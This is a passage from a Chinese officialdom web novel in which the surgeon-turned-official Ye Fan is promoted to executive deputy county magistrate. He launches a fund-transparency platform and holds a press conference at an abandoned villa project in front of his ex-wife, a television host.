电话那头,突然爆发出**酣畅淋漓的大笑声。
“你小子……你小子!”**连说了两个“你小子”,语气里充满了掩饰不住的欣赏和惊喜,“我只想着给你一把最锋利的刀,你却反过来跟我要一道‘将在外君命有所不受’的圣旨!”
“好!这个条件,我不仅答应,我还要在**会上给你大书特书!”**声音一沉,带着不容置疑的决断,“我就要让全县的人都知道,你叶凡,我**,我们搭班子,要干的就是实事!谁敢挡路,我就让他滚蛋!”
挂了电话,叶凡长长地舒了一口气。
他知道,从这一刻起,他在青川的仕途,将正式踏入一片全新的,也更加波涛汹涌的海域。
当天下午,一个消息如同长了翅膀,飞速传遍了县政府的各个角落——下周一的县委**会上
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,将讨论增补一名县委**,并调整县政府领导班子分工。
虽然没有明说,但所有人都心知肚明,那个位置,除了叶凡,不做第二人想。
城建局长王建林的办公室里,他和财政局刘胖子相对而坐,两人面前的烟灰缸里,已经堆满了烟头。
“老王,你说我们明天要不要去医院,探望一下苏记者?”刘胖子小心翼翼地开口,脸上写满了纠结。
王建林狠狠吸了一口烟,将烟头摁进烟灰缸:“探望?怎么探望?空着手去,显得没诚意。提着东西去,万一叶组长觉得我们是去**怎么办?”
刘胖子一拍大腿,愁眉苦脸:“就是这个道理!我现在是做什么都错,不做什么更错!我这心啊,就跟在油锅里煎一样。”
两人唉声叹气,忽然,王建林眼睛一亮。
“有了!”他猛地站起来,“我们不去探望苏记者,我们去干活!”
“干活?”刘胖-子没反应过来。
“对!干活!”王建林脸上露出一丝肉痛又决绝的神情,“城南安置房不是要重建吗?宏发建工的账被封了,县里的财政一时半会也拨不出那么多钱。我们两个局,自己凑!我从我们局的小金库里挤二十万出来,你呢?”
刘胖子倒吸一口凉气,像是被人割了块肉,但转念一想,立刻明白了王建林的意思。
这叫“投名状”!
在叶凡正式上任前,把这份大礼送过去!
钱虽然不多,但代表的是一种态度!
“我……我出三十万!”刘胖子咬着牙,下了血本,“不仅要出钱,我们还要亲自去工地监工!保质保量,提前完工!到时候,叶常务……不,叶县长上任剪彩的时候,脸上也有光!”
两人对视一眼,仿佛在黑暗中看到了一丝曙光,立刻分头行动起来。
……
病房里,苏沐秋正拿着手机,给叶凡念着手下记者刚发来的“官场八卦”。
“据说王建林和刘胖子为了谁出钱多,在走廊里差点打起来,最后还是王建林让了一步,两人凑了五十万,连夜送到了城南安置房的项目部,还签了军令状,说两个月内保证交房。”
苏沐秋念完,乐得前仰后合,不小心扯到了伤口,疼得“哎哟”一声。
叶凡赶紧放下手里的医书,帮她调整了一下枕头的位置,嘴上却说:“活该,幸灾乐祸。”
“我这是替你高兴。”苏沐秋白了他一眼,“你看看,你这还没上任呢,他们就自己把脖子洗干净,送到你的刀下了。这叫什么?这就叫不战而屈人之兵。”
叶凡笑了笑,没说话。
他知道,这不是结束,恰恰相反,这只是一个开始。
一场更大,也更凶险的手术,即将拉开帷幕。
第168章 **会上的手术刀!
周一,青川县委大楼。
空气中弥漫着一种不同寻常的肃静,走廊里脚步声都比平时轻了三分。
所有人都知道,今天上午九点,将召开决定青川县未来权力格局的县委**会。
叶凡提前十五分钟抵达,他穿着一身熨烫平整的白衬衫和深色西裤,头发剪得很短,整个人看起来干净利落。
他没有像其他人那样在走廊里交头接耳,而是直接走进了为他准备的临时休息室。
他坐下,没有看文件,也没有喝水,只是拿出手机,点开了和苏沐秋的聊天界面。
最新的一条信息是苏沐秋五分钟前发来的。
“叶大夫,今天是你上手术台的日子,别紧张。记住,你不是去跟他们吵架的,你是去给青川这头病牛看病的。诊断书写清楚,手术方案讲明白,他们就没理由拦着一个主刀医生救死扶伤。加油。”
后面还跟了一个“挥舞手术刀”的可爱表情包。
叶凡的嘴角不自觉地弯了一下,心头最后一丝波澜也归于平静。
他收起手机,整理了一下衬衫的领口,眼神恢复了外科医生般的沉静。
……
九点整,县委**办公室改造的会议室里,长条形的会议桌旁,青川县的权力核心人物悉数落座。
县长**主持会议,他清了清嗓子,目光扫过全场,开门见山。
“同志们,今天请大家来,主要议题只有一个。高明远同志的问题给我们的工作造成了很大被动,常务副县长的位置不能一直空着。经过我个人的慎重考虑,并征求了部分同志的意见,我提议,由县卫生局局长叶凡同志,出任县委**、常务副县长。”
话音刚落,会议室里静得能听见自己的心跳。
所有人的目光都若有若无地瞟向了组织部长赵立新。
赵立新是县里的老资格,高明远没倒之前,两人走得很近。
赵立新扶了扶眼镜,慢条斯理地开口了:“李县长,我不是反对叶凡同志。这位年轻干部有能力,有魄力,处理宏发建工的事情,大家有目共睹。但是,我们的干部提拔,是不是还是要讲究一下程序和资历?”
他顿了顿,声音不大,却字字敲在关键处:“叶凡同志来青川才多久?从一个正科级的卫生局局长,直接提拔到副处级的县委**、常务副县长,这在咱们江城市,恐怕都没有先例。这样破格,会不会让下面按部就班、辛苦工作多年的老同志们,寒了心?”
这话一出,好几位**都下意识地点了点头。
赵立新这话说得很高明,他不攻击叶凡个人,而是站在“规矩”和“组织原则”的制高点上,让人无法反驳。
**脸色不变,他早就料到赵立新会发难。
“立新同志说得有道理,规矩是必须要讲的。”**话锋一转,“但我们也要看是什么时候。现在青川是什么情况?是一个烂摊子!宏发建工留下的窟窿,牵扯到上千户家庭,数亿的资金缺口,随时可能引爆巨大的社会矛盾。这个时候,我们需要的是什么?是能解决问题的闯将!是能力挽狂澜的帅才!”
他加重了语气:“特殊时期,就要有特殊的举措。历史上,不拘一格降人才的例子还少吗?我认为,叶凡同志就是我们现在最需要的那个人。”
会议室里的气氛顿时有些剑拔**张。
赵立新还想说什么,**却摆了摆手,转向门口:“让叶凡同志进来,听听同志们的意见,也让他自己讲两句。”
门被推开,叶凡走了进来。
他没有看任何人,只是径直走到会议桌的末端,站定,微微鞠躬。
“叶凡同志,”**看着他,“赵部长对你的提拔有疑虑,主要是担心你太年轻,资历不够,一步迈得太大。你自己,有什么想法?”
所有人的目光都聚焦在叶凡身上,有审视,有好奇,也有等着看笑话的。
叶凡没有立刻回答。
他从随身带来的公文包里,拿出了一叠文件,不是发言稿,而是一份份装订好的材料。
他给在座的每一位**,都亲手发了一份。
“各位领导,我没有什么个人想法。”叶凡的声音很平静,像是在手术前向病人家属交代病情,“我只是想请大家看一份诊断报告。”
**们都愣住了,低头翻开了手里的文件。
第一页,是城南安置区和凤凰湖别墅区的烂尾现状照片,触目惊心。
第二页,是详细的数据统计:受影响的拆迁户共计864户,3152人;凤凰湖烂尾别墅业主128户;宏发建工拖欠的材料款、工程款、银行贷款,总计约2.8亿元。
第三页,是业主**记录的汇总,和一份社会稳定风险评估报告,上面用红字标注着“风险等级:高”。
“这份报告,是我花了三天时间,走访了所有相关社区和部门,整理出来的。”叶凡的目光扫过全场,“它说明,我们青川县现在不是健康状态,而是生了一场重病,一个正在恶性扩散的肿瘤。再不动刀,后果不堪设想。”
他顿了顿,看向赵立新:“赵部长,您说的规矩和资历,我很认同。在平时,这是保证我们肌体健康运转的免疫系统。但现在,面对恶性肿瘤,我们需要的是什么?是一把锋利的
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手术刀,和一个敢下刀、能切干净的主刀医生。”
他的声音不大,却清晰地传到每个人耳朵里。
“今天,我不是来请求一个官位的。我只是作为一名医生,向各位领导陈述病情,并提出我的手术方案。李县长提议让我担任常务副县长,这对我来说,不是荣誉,而是赋予了我这把‘手术刀’的使用权。”
他微微躬身,语气诚恳。
“如果各位领导认为,有比我更合适的主刀医生,或者有比这个职务更好用的手术刀,我叶凡,将第一个拥护和配合。我的目的只有一个——治好青川的病,让老百姓能住进新房。至于由谁来主刀,用什么刀,我个人,毫无意见。”
说完,他便不再言语,静静地站在那里。
会议室里,死一般的寂静。
赵立新的脸一阵红一阵白,张了张嘴,却一个字也说不出来。
叶凡这番话,直接把他架在了“为了程序和规矩,不顾百姓死活”的尴尬位置上。
谁再反对,谁就是跟那上千户等着住新房的老百姓过不去!
**眼中闪过一丝激赏,他打破沉默,沉声道:“同志们,都看明白了吧?叶凡同志要的不是官,是要为民办事的权!我同意叶凡同志的意见,现在,我们投票表决!”
“我同意。”纪委孙**第一个举手。
“我同意。”宣传部长跟着举手。
“同意。”
“同意。”
……
一只只手举了起来,最后,只剩下赵立新。
他看着周围,脸色难看地慢慢举起了手。
全票通过。
会议结束,叶凡走出会议室时,**们看他的眼神已经完全变了。
王建林和刘胖子像两尊门神一样守在走廊尽头,看到叶凡出来,立刻满脸堆笑地迎了上来。
“叶县长!恭喜叶县长!”刘胖子抢先一步,激动得脸上的肥肉都在颤抖。
王建林在旁边赶紧补充:“是叶**!叶**!”
两人互相看了一眼,又异口同声地改口:“叶县长好!叶**好!”
那滑稽的样子,让路过的几个工作人员都忍不住想笑。
叶凡只是淡淡地点了点头,没有停下脚步。
他走出县委大楼,午后的阳光有些刺眼。
他站在台阶上,回头看了一眼这栋象征着青川权力中心的建筑,然后拿出手机,拨通了苏沐秋的电话。
电话那头传来苏沐秋带着笑意的声音:“怎么样啊,叶大主刀?手术还顺利吗?”
叶凡看着远方,也笑了。
“很顺利。”
“手术刀,已经拿到手了。”
第169章 烧向自己的第一把火!
“哟,那得恭喜叶常务了。”苏沐秋的调侃里带着一丝不易察觉的认真,“不过我可得提醒你,大手术之后,最要防的是术后感染和并发症。有些老病灶,可不会那么容易被清除干净。”
叶凡听懂了她的言外之意,心头一暖。“知道了,苏医生。那你说,这场手术要是做得漂亮,病人康复出院了,主刀医生有什么奖励?”
电话那头安静了两秒,苏沐秋轻笑了一声,声音压低了些,带着几分慵懒的磁性:“那得看病人的满意度……还有,主刀医生的表现了。”
这句暧昧不明的话,像一根羽毛,轻轻搔刮着叶凡的心。
他正要再说些什么,眼角的余光就瞥见两个身影,正以一种近乎百米冲刺的姿态,从大楼里冲了出来。
是城建局长王建林和财政局长刘胖子。
两人跑到叶凡面前,因为跑得太急,刘胖子脸上的肥肉都在颤抖,王建林则扶着膝盖,气喘吁吁。
“叶……叶县长!”刘胖子抢先开口,满脸是谄媚的笑容,“恭喜!恭喜啊!”
王建林在旁边赶紧用胳膊肘捅了他一下,赔着笑纠正:“是叶**!常务副县长!”
“对对对!”刘胖子猛拍自己的嘴,“看我这张笨嘴!叶**!以后您就是我们的主心骨了!”
两人一唱一和,活像一对说相声的。
“叶**,您办公室在高明远……不,在三楼最东头那间,我们已经安排人去打扫了,保证一尘不染!”王建林抢着汇报。
“对,我还让我们局里最懂风水的老同志去给您瞧了瞧,说那办公室坐北朝南,紫气东来,就是……就是那盆发财树的位置得挪挪!”刘胖子补充道。
叶凡看着眼前这两个活宝,有些想笑,但脸上依旧没什么表情。
“不用了,办公室能用就行。两位局长这么有空,是手头的工作都做完了?”
两人脸上的笑容瞬间僵住。
“通知下去,一个小时后,在县政府三号会议室,召开‘宏发建工善后处置及重点项目重建工作领导小组’第一次会议。”叶凡的语气不容置疑,“所有相关单位一把手,必须到场。另外,把你们两个局里,所有跟宏发建工有关的原始合同、拨款凭证、验收报告,全部带到会场。”
说完,他便迈步下台阶,留下面面相觑、冷汗直流的王建林和刘胖子。
叶凡的新办公室,果然是高明远之前那间。
推开门,一股混杂着名贵茶叶和劣质香薰的味道扑面而来。
办公室大得像个小礼堂,红木办公桌油光锃亮,墙上挂着一幅不知真假的“宁静致远”书法,角落里摆着一套价值不菲的功夫茶具。
叶凡皱了皱眉。
他什么也没动,只是走到窗边,推开窗,让新鲜空气流进来。
“看来,你不太喜欢这里的风格。”
**的声音从门口传来。
他不知何时站在那里,看着叶凡的背影,脸上带着笑意。
“李县长。”叶凡转过身。
“现在该叫我老李了,叶**。”**走进来,环视了一圈,“高明远在这里经营了快十年,根深蒂固啊。”
“外科医生的第一原则,无菌操作。”叶凡走到那套浮夸的茶具旁,直接拿起电话,“喂,行政处吗?把这间办公室里,除了桌椅和文件柜之外的东西,全部清走。对,全部。”
**看着他这番动作,眼中的欣赏更浓了。
“看来,你不是来接管办公室,是来消毒的。”他拍了拍叶凡的肩膀,“我今天在**会上把话放出去了,青川现在百废待兴,需要的就是能吏,不是循规蹈矩的官僚。这个舞台,我给你搭好了,放手去唱,就算把天捅个窟窿,我给你顶着!”
叶凡笑着点了点头。
……
一个小时后,三号会议室。
气氛压抑得仿佛能拧出水来。
城建、财政、国土、规划等十几个部门的一把手正襟危坐,连大气都不敢喘。
叶凡坐在主位上,**破例亲自到场,坐在他旁边,为他压阵。
会议开始,王建林和刘胖子对视一眼,抢先站了起来。
“叶**,李县长!”王建林清了清嗓子,像是在作报告,“我和刘局长商量了一下,宏发建工留下的烂摊子,等县里拨款肯定来不及。我们两个局从办公经费里,各自挤出了一部分,凑了五十万,作为安置房重建的启动资金!我们保证,两个月内,一定让老百姓住上新房!”
说完,他将一份签着两人名字的“军令状”递了上去,脸上写满了“快表扬我”的期待。
在座的都是人精,一看就知道这是两人连夜送上的“投名状”。
叶凡接过那份文件,看都没看,直接放到一边。
他敲了敲桌子,目光扫向刘胖子:“刘局长,我这里有份审计报告,三年前,城南安置房项目第一期拨款,预算是三千万,实际到账两千八百万。中间那两百万,去哪了?”
刘胖子“嗡”的一下,脑子一片空白,冷汗瞬间就下来了。
“这个……这个……当时是高……高副县长他……”
“我不管是谁。”叶凡打断他,声音不大,却带着一股冰冷的穿透力,“我只认账。现在,我来宣布领导小组的第一项决议。”
他拿起遥控器,按了一下,背后的投影幕布亮了起来。
上面没有长篇大论,只有一个简洁的表格,标题是“青川县重点项目重建资金公共监督平台(草案)”。
“
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从今天起,这个领导小组,将实行绝对的透明化运作。”叶凡站起身,目光如刀,缓缓扫过每一个人。
“第一,我这个常务副县长,我办公室所有的行政开支,包括招待费、用车记录,每周汇总,在县政府官网上公示,接受全县人民监督。”
“第二,重建工作的所有资金,包括你们刚才说的这五十万,每一笔收入,每一笔支出,流向哪个单位,哪个项目,由谁经手,由谁审批,全部实时录入这个平台,公众可以随时查询。”
“第三,所有重建项目,将引入第三方审计和民众监督员制度。从招标、采购到施工、验收,全程公开。任何一份合同,都必须在网上备案。”
他每说一条,会议室里的温度就仿佛下降一度。
在座的这些官场老油条,一个个脸色煞白。
这哪是新官上任三把火?
这第一把火,分明是直接烧到了他自己身上!
可这火烧了他自己,也等于把在场的所有人都架在了火上烤!
以后谁还敢伸手?谁还敢搞猫腻?
叶凡的目光最后落在了王建林和刘胖子的身上。
“两位局长的这五十万,很好,它将是这个公共平台上的第一笔入账。我希望,你们两个部门能成为全县第一个,将所有账目并入这个监督平台的单位。”
王建林和刘胖子双腿一软,差点没坐到地上去。
他们本想送一份礼,结果叶凡转手就给他们上了一副透明的枷锁。
“谁赞成?谁反对?”叶凡问道。
**第一个开口,声音洪亮:“我完全赞成!这是刮骨疗毒,是取信于民!谁要是反对,就是跟县委、县政府对着干,跟全县人民对着干!”
会议室里,死一般的寂静。
良久,才有人颤巍巍地举起了手。
“我……我赞成。”
“赞成。”
“没意见。”
会议结束,众人如蒙大赦,又如斗败的公鸡,垂头丧气地离开。
……
叶凡独自留在空无一人的办公室,看着窗外华灯初上的县城,胸中激荡着一股前所未有的豪情。
就在这时,手机震动了一下。
是一条新闻客户端推送的即时消息,来自江城市主流媒体。
标题很醒目:《著名主持人柳如烟担纲总策划,江城市“城市新风貌”大型系列专题片正式启动,首站聚焦青川》。
点开内文,一张配图照片映入眼帘。
照片上,柳如烟穿着一身干练的职业套装,站在聚光灯下,巧笑倩兮,风华绝代。
叶凡的瞳孔猛地收缩了一下。
那个他以为早已埋葬在过去的女人,竟以这样一种猝不及防的方式,即将与他的未来,正面相撞。
第170章 过去的风,吹不到现在的山!
那张巧笑倩兮的照片,在叶凡的瞳孔中停留了不足三秒,便被他指尖一划,关闭了新闻页面。
手机屏幕暗了下去,倒映出他毫无波澜的脸。
柳如烟。
这个名字像一颗沉入深海的石子,曾在他心底搅起过滔天巨浪,可如今,这片海域早已冰封千里。
她来青川,是巧合,还是另有目的?
是冲着他来的,还是她父亲柳传明倒台后,江城电视台内部的权力倾轧,将她排挤到了这个穷乡僻壤?
无数个念头在叶凡脑中闪过,却又被他迅速地一一掐灭。
他是外科医生,最擅长的就是剥离无关的组织,专注于病灶本身。
现在的他,是青川县的常务副县长。
柳如烟和她的摄制组,对于他而言,只有一个身份——一项需要接待和处理的工作。
如此而已。
他甚至没有再点开那条新闻,而是直接回拨了苏沐秋的电话。
电话那头几乎是秒接。
“怎么了,叶大主刀,是不是手术刀太锋利,不小心割到手了?”苏沐秋的声音带着调侃,显然心情不错。
“我刚看到一条新闻。”叶凡的语气很平淡,“江城市电视台的专题片,要来青川。”
苏沐秋那边静了两秒。
她何等聪慧,立刻就捕捉到了关键信息。
“柳如烟?”她的声音里,那份调侃消失了,取而代之的是一种探究。
“嗯。”
“她来青川……拍什么‘城市新风貌’?青川现在最大的‘风貌’,不就是你这个新上任的常务副县长吗?”苏沐秋的声音里带上了一丝玩味。
“这不就是你们媒体最喜欢的标题——《废婿逆袭:从豪门弃子到权力之巅》?”
叶凡被她逗笑了,心头最后一丝涟漪也彻底平复。
“别胡说。”
“我可没胡说。”苏沐秋轻哼一声,“你那位前妻,可是个心高气傲的主儿。当年嫌你窝囊,把你一脚踹了。现在你成了江城市最年轻的县领导,她会怎么想?”
“她怎么想,不关我的事。”叶凡的声音冷了下来,“我只是在想,她们来,会不会影响到我们的计划。”
“影响?不,叶大县长,这不是影响,这是机会。”
苏沐秋的语气瞬间变得专业而锐利。
“你不是刚推出了那个‘资金公共监督平台’吗?不是要重建烂尾楼吗?这都是天大的新闻素材!她柳如烟要拍‘新风貌’,可以,我们就让她拍!让她亲眼看着,她当年看不起的男人,是怎么把一个烂摊子,变成一个样板工程的!”
“让她用江城市电视台的镜头,免费为你的政绩做宣传!这叫什么?这就叫用敌人的炮火,照亮我们前进的道路!”
叶凡的眼睛亮了。
他不得不承认,苏沐秋的视角,永远那么刁钻,却又一针见血。
“你这脑子,不去当官可惜了。”
“我才不去呢。”苏沐秋在那头得意地笑了起来,“当官多累啊,哪有当个无冕之王,还能随时调侃叶大县长来得舒坦?”
她话锋一转,声音里带上了一丝不易察觉的关切。
“不过,你还是小心点。女人,尤其是受过伤的女人,有时候做事是不讲逻辑的。别让她打扰到你。”
“放心。”叶凡看着窗外,语气笃定,“过去的风,吹不到现在的山。”
……
第二天,叶凡新官上任的第一把火,就在整个青川官场熊熊燃烧起来。
那个名为“青川县重点项目重建资金公共监督平台”的草案,连夜就变成了正式文件,下发到所有相关单位。
而城建局和财政局,作为第一批“试点单位”,更是被推到了风口浪尖。
王建林和刘胖子的办公室里,前来汇报工作的下属络绎不绝,每个人脸上都写满了“天要塌了”的惊恐。
“局长,这个平台要求所有合同原件扫描上网,那我们以前那些补充协议怎么办?”
“局长,招待费要精确到人头和事由,这……这以后谁还敢跟我们吃饭啊!”
“局长,叶县长办公室的行政开支都公示了,我们要是超了……”
王建林和刘胖子一个头两个大,却只能咬着牙,挨个训斥。
“怎么办?照章办事!叶县长的指示,谁敢打折扣,就自己去跟纪委解释!”
“补充协议?什么补充协议?我不知道!以前的账是以前的,从今天起,一个字都不能错!”
两人心里都在滴血,却又都明白,叶凡这一刀,看似砍向自己,实则是给了他们一个“护身符”。
以后谁也别想再通过他们俩,在项目上搞小动作了。
就在整个县政府为了这个“透明平台”而人仰马翻的时候,一辆挂着江城市电视台牌照的商务车,缓缓驶入了青川县委县政府的大院。
车门打开,一个穿着米色风衣,戴着墨镜的女人走了下来。
正是柳如烟。
她摘下墨镜,打量着眼前这栋略显陈旧的政府大楼,秀气的眉毛不自觉地蹙了一下。
这就是青川县的权力中心?
比她想象的,还要破败。
一个年轻的助理跟了上来,低声道:“柳姐,宣传部的人已经在等了。”
柳如烟点点头,迈步走向大楼。
宣传部的办公室里,部长钱卫国正襟危坐,紧张得手心冒汗。
这可是市电视台的“财神爷”,更是知名主持人,怠慢不得。
“柳小姐,欢迎,欢迎啊!”钱卫国挤出热情的笑容。
柳如烟只是淡淡地点了点头,目光在简陋的办公室里扫了一圈,
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开口道:“钱部长,客套话就不说了。我们这次来,时间很紧,需要县里全力配合。”
她身后的制片人递上了一份清单。
“这是我们需要的支持:最好的酒店,至少十个房间;一个临时的导播间和办公室;拍摄期间,需要县里主要领导全程陪同采访;还有,我们想拍一些青川的特色,比如……那个叫凤凰湖的别墅区,听说风景不错。”
钱卫国看着清单,脸上的汗更多了。
别的都好说,可这凤凰湖别墅区……那不是刚被查封的烂尾楼吗?
这不是哪壶不开提哪壶吗!
“这个……柳小姐,凤凰湖那边,情况有点复杂……”钱卫国擦着汗,不知该如何解释。
柳如烟的脸色冷了下来:“钱部长,我们是来拍‘新风貌’的,不是来拍你们的‘复杂情况’的。如果连这点小事都协调不好,我很怀疑我们这次合作的诚意。”
钱卫国被怼得哑口无言,急得满头大汗。
这尊神,他得罪不起啊!
可这要求,他也满足不了!
就在他左右为难之际,办公室的门被敲响了。
叶凡的秘书小张走了进来。
“钱部长,叶县长让您过去一趟。”
钱卫国如蒙大赦,赶紧对柳如烟道:“柳小姐,您稍等,我们县里分管这块的领导要见我,我马上回来!”
说完,他逃也似的冲出了办公室。
会议室里,叶凡正在听取城南安置房重建项目组的汇报。
钱卫国闯了进来,把刚才的情况竹筒倒豆子一般全说了出来,末了,苦着脸道:“叶县长,您看这……这可怎么办啊?”
叶凡放下手中的笔,脸上没什么表情。
“最好的酒店?我们青川有吗?”
“只有一家三星的青川宾馆。”
“那就住青川宾馆。爱住不住。”
“办公室?让他们去县招待所腾一间会议室。”
“领导陪同?我这个常务副县长算不算主要领导?”
钱卫国愣住了:“算……当然算!您要去?”
叶凡站起身,目光平静地看着他。
“他们不是要拍凤凰湖吗?”
他拿起桌上的电话,直接拨给了电视台的苏沐秋。
“沐秋,帮我个忙。把你之前拍的,所有关于凤凰湖烂尾楼的素材,还有那些业主**的视频,整理一份,半小时内发给我。”
挂了电话,他转向目瞪口呆的钱卫国。
“回去告诉那位柳主持人。”
“就说,我下午三点,亲自带她们去凤凰湖,现场开一个新闻发布会。”
“主题就是——青川县如何处理宏发建工留下的烂尾项目,向全市人民立下军令状。”
“她不是要拍‘新风貌’吗?这,就是我们青川最大的新风貌!”
第171章 你的镜头,我的手术刀!
钱卫国几乎是小跑着回到自己的办公室。
他看着办公室里那个依旧保持着优雅姿态,但脸色已经明显不对劲的女人,清了清嗓子,腰杆莫名地挺直了许多。
他将叶凡刚才的意思简单的阐述了一遍。
“柳主持人,我们叶县长的意思,已经传达到了。”
柳如烟身后的制片人脸色发白,忍不住上前一步:“钱部长,这……这不合适吧?我们是来拍城市新风貌的,怎么能去拍烂尾楼?这要是播出去,不是给青川抹黑吗?”
钱卫国心里冷笑,刚才还对我颐指气使,现在知道找台阶了?
他慢悠悠地端起茶杯,吹了吹浮沫:“这位同志,话不能这么说。敢于直面问题,解决问题,这本身就是一种最大的新风貌。我们叶县长说了,遮遮掩掩不是我们青川县新班子的风格。凤凰湖项目是青川的一块疮疤,我们现在就是要当着全市人民的面,把这块疮疤给割了,把腐肉给清了。这叫刮骨疗毒,是担当,是魄力!这要不是新风貌,那什么才是?”
一番话,说得慷慨激昂,连钱卫国自己都佩服自己。
他发现,跟着叶凡这样的领导,说话的底气都足了。
柳如烟的指甲几乎要嵌进掌心。
她死死地盯着钱卫国,这个在她眼里本该唯唯诺诺的底层宣传干部,此刻却像换了个人。
不,不是他换了,是他的后台换了。
叶凡……
他竟然敢!
他怎么敢用这种方式来羞辱自己!
让她,江城电视台的当家花旦,去主持一场关于烂尾楼的新闻发布会?
这传出去,她柳如烟将成为整个江城媒体圈的笑话!
“钱部长,”柳如烟的声音冷得像冰,“请你转告叶县长,我们的拍摄有我们的计划,凤凰湖这种**,不在我们的选题范围之内。”
“哦?”钱卫国放下茶杯,笑了笑,“柳主持人,您可能没理解。这不是商量,是通知。叶县长说了,他下午三点,在凤凰湖别墅区门口,准时召开新闻发布会。市电视台的镜头,是最好的监督。如果你们不来,他会邀请江城晚报、青川县电视台等其他媒体。到时候,新闻标题可能就是——《市电视台拒绝监督,青川县新任常务副县长立军令状誓解民忧》。”
柳如烟的脸一瞬间血色尽失。
诛心!
这简直是诛心之言!
叶凡这是把她架在火上烤!
去,是奇耻大辱;不去,是渎职,是更大的笑话!
她猛地站起身,拿起坤包:“我们走!”
看着柳如烟一行人狼狈离去的背影,钱卫国长长舒了一口气,只觉得通体舒泰。
他拿起电话,激动地向**县长汇报:“县长!成了!全按叶县长的剧本在走!”
……
青川宾馆的豪华套房里。
“啪!”
一个精致的瓷杯被狠狠摔在地上,四分五裂。
“他凭什么!他以为他是谁!”柳如烟胸口剧烈起伏,美丽的脸庞因愤怒而扭曲。
那个在她记忆里,永远只会低着头说“对不起”,永远只会穿着洗得发白的衣服,连参加她家宴都显得局促不安的男人,现在竟然敢如此对她!
制片人急得团团转:“柳姐,现在怎么办啊?宣传部的钱部长把电话打到我们台长那里去了,台长的意思是让我们全力配合青川县的工作。”
柳如烟颓然坐倒在沙发上。
她知道,她已经没有选择了。
叶凡,用阳谋,将**她。
她忽然想起离婚时,父亲柳传明指着叶凡鼻子说的话:“你这辈子,就是个烂泥扶不上墙的废物!”
可现在,这块“烂泥”,却砌成了一堵让她无法逾越的高墙。
手机震动起来,是一个陌生的本地号码。
柳如烟烦躁地接起:“谁?”
电话那头,传来一个清脆又带着几分玩味的女声。
“柳主持人,你好,我是江城晚报的记者,苏沐秋。”
苏沐秋!
柳如烟的瞳孔猛地一缩。她当然知道这个名字,最近在江城新闻界声名鹊起,好几篇关于青川的深度报道都出自她手,据说背景不浅。
“有事?”柳如烟的语气冷淡。
“没什么大事。”苏沐秋轻笑一声,“只是听说柳主持人下午要去凤凰湖做现场报道,我们报社也收到了邀请。我手里正好有一些关于凤凰湖烂尾楼业主的深度采访资料,还有一些高明远在任时期的会议纪要……我觉得,这些材料或许能让柳主持人的报道,更有深度和看点。我免费提供给你,不用谢。”
柳如烟感觉自己的血液都快凝固了。
这是**!
这是赤裸裸的**!
苏沐秋是在告诉她,这场发布会的主导权,从内容到节奏,都牢牢掌握在他们手里。
她柳如烟,不过是一个提线木偶,一个念台词的工具。
而那个提线的人,是叶凡。
……
下午两点五十分,凤凰湖别墅区。
曾经被无数广告吹捧为“富人区”的地方,此刻却是一片死寂。
十几栋建了一半的别墅像一尊尊巨大的墓碑,矗立在荒草丛中,钢筋裸露,墙体斑驳。
唯一的不同,是在那锈迹斑斑的大门口,临时搭建起了一个简陋的主席台,背景板上写着——“青川县宏发建工遗留问题处置现场新闻发布会”。
台下,黑压压地站着几百人。
他们是凤凰湖的业主,是城南安置区的拆迁户。
他们没有吵闹,没有喧哗,只是静静地站着,许多人眼眶泛红,手里举着各式各样的横幅。
“感谢政府为民做主!”
“叶县长,我们等您!”
“我们只想回家!”
市电视台的采访车停在远处,柳如烟坐在车里,脸色苍白地看着这一幕,内心翻江倒海。
她以为会是一场混乱的闹剧,却没想到,现场的秩序井然,那一张张饱经风霜的脸上,写满了压抑已久的希望。
这哪里是**,这分明是一场民心所向的誓师大会!<
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br>而导演这一切的,是叶凡。
三点整,叶凡到了。
他没有坐专车,只是穿着简单的白衬衫和黑西裤,从人群中步行而来。
他一路走,一路和身边的百姓点头,甚至停下来,拍了拍一位老大爷的肩膀,低声说了几句什么。
阳光照在他身上,整个人显得格外挺拔。
当他站上主席台的那一刻,台下爆发出雷鸣般的掌声。
柳如烟在车里,看得有些痴了。
她忽然发现,自己好像从来没有真正认识过这个男人。
摄像师在旁边催促:“柳姐,该我们上场了。”
柳如烟深吸一口气,推开车门。
当她带着团队走向主席台时,所有的目光都聚焦在她身上,有好奇,有审视,还有一丝敌意。
叶凡的目光也落在了她身上,平静如水,没有任何情绪。
他只是拿起话筒,对着台下,也对着柳如烟的镜头,缓缓开口。
“各位乡亲,各位媒体朋友,下午好。”
“我是叶凡。”
“今天,我们不谈成绩,只谈问题。”
他伸手指了指身后那片烂尾楼。
“这,就是我们青川县过去工作最大的问题!是前任领导留下的烂摊子!是上千户家庭回不去的家,是数亿国有资产的巨大流失!”
声音不大,却字字千钧,通过扩音器,传遍了整个山谷。
柳如烟拿着话筒,手心全是汗。
她知道,她必须开口了。
她强迫自己挤出一个职业的微笑,按照台本,也是按照叶凡给她设定的剧本,问道:“叶县长,据我所知,凤凰湖项目牵扯甚广,资金缺口巨大。请问,您今天把我们召集在这里,是已经有了具体的解决方案,还是……只是为了表一个态?”
这个问题,问得极其刁钻。
是在逼问叶凡,你到底是来作秀,还是来办实事的?
所有人都屏住了呼吸,看向叶凡。
叶凡看着柳如烟,微微一笑,那笑容里带着柳如烟从未见过的自信和锋芒。
“问得好。”
他转向镜头,也像是穿过镜头,在和某个遥远的存在对话。
“我今天站在这里,不是来表态的。”
他顿了顿,声音陡然拔高,如同出鞘的利剑。
“我是来当着全市人民的面,切除我们青川这颗最大的毒瘤!”
“我的解决方案也很简单。”他伸出两根手指。
“第一,钱的问题。从今天起,青川县所有副县级以上领导干部的公务高级用车,全部封存拍卖!所有政府部门的招待费,削减百分之八十!我这个常务副县长,第一个带头!这笔钱,作为第一笔启动资金!”
“第二,人的问题。”
叶凡的目光,缓缓扫过台下,最后,又一次定格在柳如烟那张震惊到无以复加的脸上。
“这个项目,从立项、审批到施工,每一个环节的负责人,无论他现在身在何处,身居何位,有一个,算一个……”
“全部,一查到底!”
第172章 你哭的样子,是青川最美的风景!
“全部,一查到底!”
最后四个字,如同重锤,砸在凤凰湖寂静的山谷,也砸在现场每一个人的心上。
台下,先是死一般的寂静,随即,爆发出山呼海啸般的掌声和欢呼!
“叶县长说得好!”
“查!一查到底!把那些贪官污吏全抓起来!”
“我们有救了!我们的房子有救了!”
积压了数年的怨气和绝望,在这一刻,尽数化为对台上那个年轻县长的狂热信任。
无数百姓热泪盈眶,他们看向叶凡的眼神,像是在看一位救世主。
而人群之外,摄像机旁,柳如烟的世界里,所有的声音都消失了。
